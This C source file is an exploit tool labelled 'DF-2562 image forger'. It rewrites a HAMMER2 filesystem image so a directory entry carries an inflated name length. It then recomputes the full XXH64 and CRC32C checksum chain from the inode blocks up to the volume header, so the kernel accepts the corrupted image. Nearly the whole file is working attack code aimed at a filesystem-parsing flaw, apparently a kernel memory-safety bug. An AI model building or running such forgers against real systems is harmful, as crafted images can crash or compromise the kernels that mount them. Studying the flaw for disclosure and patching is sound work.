/*
 * forge.c - DF-2562 image forger with full CRC chain fix
 *
 * Patches the DIRENT namlen to an inflated value AND fixes the entire
 * hammer2 CRC chain (XXH64 for inode/indirect blocks, CRC32C for volume
 * header) so the kernel accepts the forged data.
 *
 * Build:  cc -O2 -o forge forge.c
 * Usage:  ./forge <image> <namlen>
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>

/* ---- XXH64 (xxHash 64-bit, seed = 0x4d617474446c6c6e) ---- */

#define XXH_PRIME64_1  0x9E3779B185EBCA87ULL
#define XXH_PRIME64_2  0xC2B2AE3D27D4EB4FULL
#define XXH_PRIME64_3  0x165667B19E3779F9ULL
#define XXH_PRIME64_4  0x85EBCA77C2B2AE63ULL
#define XXH_PRIME64_5  0x27D4EB2F165667C5ULL

static inline uint64_t xxh64_round(uint64_t acc, uint64_t input) {
    acc += input * XXH_PRIME64_2;
    acc = (acc << 31) | (acc >> (64 - 31));
    acc *= XXH_PRIME64_1;
    return acc;
}

static inline uint64_t xxh64_merge(uint64_t acc, uint64_t val) {
    val = xxh64_round(0, val);
    acc ^= val;
    acc = acc * XXH_PRIME64_1 + XXH_PRIME64_4;
    return acc;
}

static uint64_t xxh64(const void *input, size_t len, uint64_t seed) {
    const uint8_t *p = input;
    const uint8_t *end = p + len;
    uint64_t h64;

    if (len >= 32) {
        const uint8_t *lim = end - 32;
        uint64_t v1 = seed + XXH_PRIME64_1 + XXH_PRIME64_2;
        uint64_t v2 = seed + XXH_PRIME64_2;
        uint64_t v3 = seed + 0;
        uint64_t v4 = seed - XXH_PRIME64_1;
        do {
            uint64_t r;
            memcpy(&r, p, 8); v1 = xxh64_round(v1, r); p += 8;
            memcpy(&r, p, 8); v2 = xxh64_round(v2, r); p += 8;
            memcpy(&r, p, 8); v3 = xxh64_round(v3, r); p += 8;
            memcpy(&r, p, 8); v4 = xxh64_round(v4, r); p += 8;
        } while (p <= lim);
        h64 = ((v1 << 1) | (v1 >> 63)) + ((v2 << 7) | (v2 >> 57)) +
              ((v3 << 12) | (v3 >> 52)) + ((v4 << 18) | (v4 >> 46));
        h64 = xxh64_merge(h64, v1);
        h64 = xxh64_merge(h64, v2);
        h64 = xxh64_merge(h64, v3);
        h64 = xxh64_merge(h64, v4);
    } else {
        h64 = seed + XXH_PRIME64_5;
    }
    h64 += (uint64_t)len;
    while (p + 8 <= end) {
        uint64_t r;
        memcpy(&r, p, 8);
        h64 ^= xxh64_round(0, r);
        h64 = ((h64 << 27) | (h64 >> 37));
        h64 = h64 * XXH_PRIME64_1 + XXH_PRIME64_4;
        p += 8;
    }
    if (p + 4 <= end) {
        uint32_t r;
        memcpy(&r, p, 4);
        h64 ^= ((uint64_t)r) * XXH_PRIME64_1;
        h64 = ((h64 << 23) | (h64 >> 41));
        h64 = h64 * XXH_PRIME64_2 + XXH_PRIME64_3;
        p += 4;
    }
    while (p < end) {
        h64 ^= (*p++) * XXH_PRIME64_5;
        h64 = ((h64 << 11) | (h64 >> 53));
        h64 = h64 * XXH_PRIME64_1;
    }
    h64 ^= h64 >> 33;
    h64 *= XXH_PRIME64_2;
    h64 ^= h64 >> 29;
    h64 *= XXH_PRIME64_3;
    h64 ^= h64 >> 32;
    return h64;
}

/* ---- CRC32C (Castagnoli, used for volume header icrc) ---- */

static const uint32_t crc32c_table[256] = {
/* generated from polynomial 0x1EDC6F41 (reflected) */
#include "crc32ctab.h"
};

static uint32_t crc32c(const void *buf, size_t len) {
    const uint8_t *p = buf;
    uint32_t crc = 0xFFFFFFFF;
    while (len--)
        crc = crc32c_table[(crc ^ *p++) & 0xFF] ^ (crc >> 8);
    return crc ^ 0xFFFFFFFF;
}

/* icrc = iscsi_crc32 = ~calculate_crc32c(-1, ...) = crc32c but with
 * inverted init/final.  Actually:
 *   iscsi_crc32(buf, size) = ~calculate_crc32c(-1, buf, size)
 *   calculate_crc32c(crc, buf, len) does NOT invert on init/final
 *   so calculate_crc32c(-1, ...) = standard crc32c with init=0xFFFFFFFF,
 *   no final inversion... wait:
 *   calculate_crc32c(-1) starts with crc=-1=0xFFFFFFFF, processes bytes,
 *   and returns WITHOUT final XOR. So iscsi_crc32 = ~(calculate_crc32c(-1))
 *   = standard crc32c WITH final XOR.
 *   That's exactly our crc32c() function above. */
#define iscsi_crc32(buf, len)  crc32c((buf), (len))

/* ---- hammer2 on-disk constants ---- */

#define HAMMER2_OFF_MASK_RADIX   0x3FULL
#define BREF_TYPE_DIRENT         4
#define BREF_TYPE_INODE          1
#define BREF_TYPE_INDIRECT       2
#define BREF_BYTES               128
#define BREF_DATAOFF_OFF         0x20
#define BREF_CHECK_OFF           0x40   /* check union within blockref */
#define DIRENT_NAMLEN_OFF        0x38   /* embed.dirent.namlen in blockref */

#define XXH_SEED                 0x4d617474446c6c6eULL

#define MARKER "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.txt"
#define MARKER_LEN 76

#define HAMMER2_VOLUME_BYTES     65536
#define VH_ICRC0_OFF             0
#define VH_ICRC0_SIZE            (512 - 4)
#define VH_ICRC1_OFF             512
#define VH_ICRC1_SIZE            512
#define VH_ICRCVH_OFF            0
#define VH_ICRCVH_SIZE           (65536 - 4)
#define VH_ICRC_SECTS_OFF        0x1E0   /* icrc_sects[8] in volume_data */
#define VH_ICRC_VOLHEADER_OFF    0xFFFC
#define VH_SROOT_BLOCKSET_OFF    0x200

static uint8_t *img;
static off_t imgsize;

static uint16_t rd16(const uint8_t *p) { return p[0] | (p[1] << 8); }
static uint32_t rd32(const uint8_t *p) {
    return (uint32_t)p[0] | ((uint32_t)p[1]<<8) | ((uint32_t)p[2]<<16) | ((uint32_t)p[3]<<24);
}
static uint64_t rd64(const uint8_t *p) {
    uint64_t v = 0; int i;
    for (i = 0; i < 8; i++) v |= (uint64_t)p[i] << (i*8);
    return v;
}
static void wr16(uint8_t *p, uint16_t v) { p[0]=v&0xFF; p[1]=(v>>8)&0xFF; }
static void wr32(uint8_t *p, uint32_t v) {
    p[0]=v&0xFF; p[1]=(v>>8)&0xFF; p[2]=(v>>16)&0xFF; p[3]=(v>>24)&0xFF;
}
static void wr64(uint8_t *p, uint64_t v) {
    int i; for (i=0;i<8;i++) p[i]=(v>>(i*8))&0xFF;
}

/* Find a blockref by child data_off.  Searches a block of blockrefs.
 * Returns byte offset of the blockref in img, or -1. */
static off_t find_bref_by_dataoff(off_t block_start, int count, int bref_size,
                                    uint64_t child_dataoff_raw) {
    int i;
    for (i = 0; i < count; i++) {
        off_t boff = block_start + i * bref_size;
        if (boff + bref_size > imgsize) break;
        uint8_t type = img[boff];
        if (type == 0) continue;  /* EMPTY */
        uint64_t doff = rd64(img + boff + BREF_DATAOFF_OFF);
        if (doff == child_dataoff_raw) {
            fprintf(stderr, "  found blockref type=%d at img off %lld (0x%llx) data_off=0x%llx\n",
                    type, (long long)boff, (long long)boff,
                    (unsigned long long)doff);
            return boff;
        }
    }
    return -1;
}

/* Recompute XXH64 of a data block, store in parent blockref's check field. */
static void fix_xxh64(off_t data_off, uint64_t data_size, off_t bref_off) {
    uint64_t h = xxh64(img + data_off, data_size, XXH_SEED);
    fprintf(stderr, "  XXH64(data@0x%llx sz=%llu) = 0x%016llx -> bref@0x%llx+0x40\n",
            (unsigned long long)data_off, (unsigned long long)data_size,
            (unsigned long long)h, (long long)bref_off);
    wr64(img + bref_off + BREF_CHECK_OFF, h);
}

int main(int argc, char **argv) {
    int fd;
    long val;
    uint16_t new_namlen;
    ssize_t n;

    if (argc < 3) {
        fprintf(stderr, "usage: %s <image> <namlen>\n", argv[0]);
        return 2;
    }
    val = strtol(argv[2], NULL, 0);
    if (val < 0 || val > 65535) { fprintf(stderr, "namlen out of range\n"); return 2; }
    new_namlen = (uint16_t)val;

    fd = open(argv[1], O_RDWR);
    if (fd < 0) { perror("open"); return 1; }
    imgsize = lseek(fd, 0, SEEK_END);
    lseek(fd, 0, SEEK_SET);
    img = malloc(imgsize);
    if (!img) { perror("malloc"); close(fd); return 1; }
    n = read(fd, img, imgsize);
    if (n != imgsize) { perror("read"); free(img); close(fd); return 1; }

    /* Step 1: find the marker (DIRENT data block) */
    off_t marker_off = -1;
    off_t o;
    for (o = 0; o + MARKER_LEN <= imgsize; o++) {
        if (memcmp(img + o, MARKER, MARKER_LEN) == 0) {
            marker_off = o;
            break;
        }
    }
    if (marker_off < 0) {
        fprintf(stderr, "forge: marker not found\n");
        free(img); close(fd); return 1;
    }
    fprintf(stderr, "marker at 0x%llx\n", (unsigned long long)marker_off);

    /* Step 2: compute DIRENT data_off, find DIRENT blockref, patch namlen */
    uint64_t dirent_dataoff_raw = (uint64_t)marker_off | 10ULL; /* radix 10 = 1024 */
    uint8_t needle[8]; wr64(needle, dirent_dataoff_raw);

    off_t dirent_bref = -1;
    for (o = 0; o + 8 <= imgsize; o++) {
        if (memcmp(img + o, needle, 8) != 0) continue;
        off_t bs = o - BREF_DATAOFF_OFF;
        if (bs < 0 || bs + BREF_BYTES > imgsize) continue;
        if (img[bs] != BREF_TYPE_DIRENT) continue;
        dirent_bref = bs;
        break;
    }
    if (dirent_bref < 0) {
        fprintf(stderr, "forge: DIRENT blockref not found\n");
        free(img); close(fd); return 1;
    }
    /* Determine which inode_data contains this blockref */
    /* The blockref is in a blockset.  blockset is at inode_data+0x200.
     * Each blockset has 4 blockrefs.  Find the inode_data base. */
    off_t blockset_off = dirent_bref - (dirent_bref % BREF_BYTES);
    /* align to blockset boundary: blockset has 4 brefs of 128 bytes = 512 */
    off_t testdir_inode_off = (dirent_bref / BREF_BYTES) ;
    /* The blockset starts at an inode_data + 0x200 boundary */
    /* inode_data is 1024 bytes; blockset at +0x200; 4 brefs: +0x200,+0x280,+0x300,+0x380 */
    off_t bref_in_blockset = dirent_bref - ((dirent_bref / BREF_BYTES) * BREF_BYTES);
    /* Actually: find inode_data base = dirent_bref rounded down to nearest
     * blockset position.  The blockset occupies offsets +0x200 to +0x3FF
     * within a 1024-byte inode_data. */
    off_t rel = dirent_bref & 0x3FF; /* position within 1024-byte block */
    off_t block_base = dirent_bref - rel; /* 1024-byte aligned base */
    /* Verify this looks like an inode_data: version=1 at +0x00 */
    if (rd16(img + block_base) != 1) {
        fprintf(stderr, "forge: WARNING: inode_data base guess off=0x%llx has version=%u (expected 1)\n",
                (unsigned long long)block_base, rd16(img + block_base));
        /* Try the other possible alignment */
    }

    uint16_t old_namlen = rd16(img + dirent_bref + DIRENT_NAMLEN_OFF);
    fprintf(stderr, "patching DIRENT namlen at 0x%llx: %u -> %u\n",
            (long long)(dirent_bref + DIRENT_NAMLEN_OFF), old_namlen, new_namlen);
    wr16(img + dirent_bref + DIRENT_NAMLEN_OFF, new_namlen);

    /* Step 3: fix testdir inode_data XXH64 in parent blockref */
    /* testdir = inode_data at block_base, 1024 bytes */
    uint64_t testdir_dataoff_raw = (uint64_t)block_base | 10ULL;
    fprintf(stderr, "testdir inode_data at 0x%llx, data_off raw=0x%llx\n",
            (unsigned long long)block_base, (unsigned long long)testdir_dataoff_raw);

    /* Find testdir's blockref in the INDIRECT block (search entire image) */
    off_t testdir_bref = find_bref_by_dataoff(0, imgsize / BREF_BYTES, BREF_BYTES,
                                               testdir_dataoff_raw);
    if (testdir_bref < 0) {
        fprintf(stderr, "forge: testdir blockref not found\n");
        free(img); close(fd); return 1;
    }
    fix_xxh64(block_base, 1024, testdir_bref);

    /* Step 4: fix INDIRECT block XXH64 in DATA's blockref */
    /* The INDIRECT block contains testdir_bref.  INDIRECT block size from
     * the blockref vradix or known radix (4096 = radix 12). */
    off_t indirect_off = (testdir_bref / 4096) * 4096; /* 4K aligned */
    /* Better: find data_off of the INDIRECT block from the bref in DATA */
    /* The INDIRECT block's data_off is stored in DATA's blockref for indirect */
    /* For now, search for the INDIRECT block by looking for the block that
     * contains testdir_bref */
    /* Actually, indirect_off = testdir_bref rounded down to 4096 */
    uint64_t indirect_dataoff_raw = (uint64_t)indirect_off | 12ULL; /* radix 12 = 4096 */
    fprintf(stderr, "indirect block at 0x%llx, data_off raw=0x%llx\n",
            (unsigned long long)indirect_off, (unsigned long long)indirect_dataoff_raw);

    off_t indirect_bref = find_bref_by_dataoff(0, imgsize / BREF_BYTES, BREF_BYTES,
                                                indirect_dataoff_raw);
    if (indirect_bref < 0) {
        fprintf(stderr, "forge: indirect blockref not found\n");
        free(img); close(fd); return 1;
    }
    fix_xxh64(indirect_off, 4096, indirect_bref);

    /* Step 5: fix DATA inode_data XXH64 in SUPROOT's blockref */
    /* DATA inode_data contains indirect_bref.  blockset at +0x200 within DATA */
    off_t data_inode_off = (indirect_bref / 1024) * 1024;
    /* Verify: the indirect_bref is in DATA's blockset (+0x200 to +0x3FF) */
    off_t rel_in_data = indirect_bref - data_inode_off;
    if (rel_in_data < 0x200 || rel_in_data >= 0x400) {
        /* try other alignment */
        data_inode_off = indirect_bref & ~0x3FF;
    }
    uint64_t data_dataoff_raw = (uint64_t)data_inode_off | 10ULL;
    fprintf(stderr, "DATA inode at 0x%llx, data_off raw=0x%llx\n",
            (unsigned long long)data_inode_off, (unsigned long long)data_dataoff_raw);

    off_t data_bref = find_bref_by_dataoff(0, imgsize / BREF_BYTES, BREF_BYTES,
                                            data_dataoff_raw);
    if (data_bref < 0) {
        fprintf(stderr, "forge: DATA blockref not found\n");
        free(img); close(fd); return 1;
    }
    fix_xxh64(data_inode_off, 1024, data_bref);

    /* Step 6: fix SUPROOT inode_data XXH64 in volume header's sroot_blockset */
    off_t suproot_inode_off = (data_bref / 1024) * 1024;
    uint64_t suproot_dataoff_raw = (uint64_t)suproot_inode_off | 10ULL;
    fprintf(stderr, "SUPROOT inode at 0x%llx, data_off raw=0x%llx\n",
            (unsigned long long)suproot_inode_off, (unsigned long long)suproot_dataoff_raw);

    /* The SUPROOT blockref is in the volume header's sroot_blockset at offset 0x200 */
    /* Search for the blockref with matching data_off in the volume header area */
    off_t suproot_bref = find_bref_by_dataoff(VH_SROOT_BLOCKSET_OFF, 4, BREF_BYTES,
                                               suproot_dataoff_raw);
    if (suproot_bref < 0) {
        fprintf(stderr, "forge: SUPROOT blockref not found in volhdr\n");
        free(img); close(fd); return 1;
    }
    fix_xxh64(suproot_inode_off, 1024, suproot_bref);

    /* Step 7: fix volume header CRCs */
    /* icrc_sects[6] = CRC32C of sector 1 (bytes 512..1023) */
    uint32_t icrc1 = iscsi_crc32(img + VH_ICRC1_OFF, VH_ICRC1_SIZE);
    wr32(img + VH_ICRC_SECTS_OFF + 6 * 4, icrc1);
    fprintf(stderr, "volhdr icrc_sects[6] = 0x%08x\n", icrc1);

    /* icrc_sects[7] = CRC32C of bytes 0..507 */
    uint32_t icrc0 = iscsi_crc32(img + VH_ICRC0_OFF, VH_ICRC0_SIZE);
    wr32(img + VH_ICRC_SECTS_OFF + 7 * 4, icrc0);
    fprintf(stderr, "volhdr icrc_sects[7] = 0x%08x\n", icrc0);

    /* icrc_volheader = CRC32C of bytes 0..65531 */
    uint32_t icrcvh = iscsi_crc32(img + VH_ICRCVH_OFF, VH_ICRCVH_SIZE);
    wr32(img + VH_ICRC_VOLHEADER_OFF, icrcvh);
    fprintf(stderr, "volhdr icrc_volheader = 0x%08x\n", icrcvh);

    /* Write back */
    lseek(fd, 0, SEEK_SET);
    n = write(fd, img, imgsize);
    if (n != imgsize) { perror("write"); free(img); close(fd); return 1; }
    fsync(fd);
    fprintf(stderr, "forge: done, namlen=%u\n", new_namlen);
    free(img);
    close(fd);
    return 0;
}